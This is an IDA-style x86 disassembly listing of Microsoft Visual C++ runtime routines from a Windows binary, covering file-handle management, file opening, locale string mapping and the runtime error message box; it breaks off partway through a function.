		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D00C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D00C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 27C0A2Ah
		push	eax
		nop
		call	near ptr 28A0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCC80


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCD80
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCD80, 20h
		lea	ecx, ds:4DCC80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A974, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 27C0000h
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCD80
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A974, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 27C0000h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 27B084Fh
		nop
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2830047h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB92C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC60, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC60, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D098


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC48
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D318
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0A8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D108
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB968, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB10
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC20, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB928, 16h
		mov	dword_4DB92C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB930
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB92C, 0
		mov	dword_4DB928, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 28B0703h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 27C02EDh
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 28005AFh
		nop


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2830047h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB92C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB18
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 27A006Ch
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4DC
		push	esi
		push	ebx
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB18, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB9E4


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 27B0000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 29D0000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 29D0000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 27A006Ch
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB9E4, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBB4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB9F4
		nop
		call	near ptr 29C1170h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB9E4, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9A8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBB4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB9F4
		call	near ptr 29D0000h
		nop
		test	eax, eax
		mov	eax, dword_43CBB4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


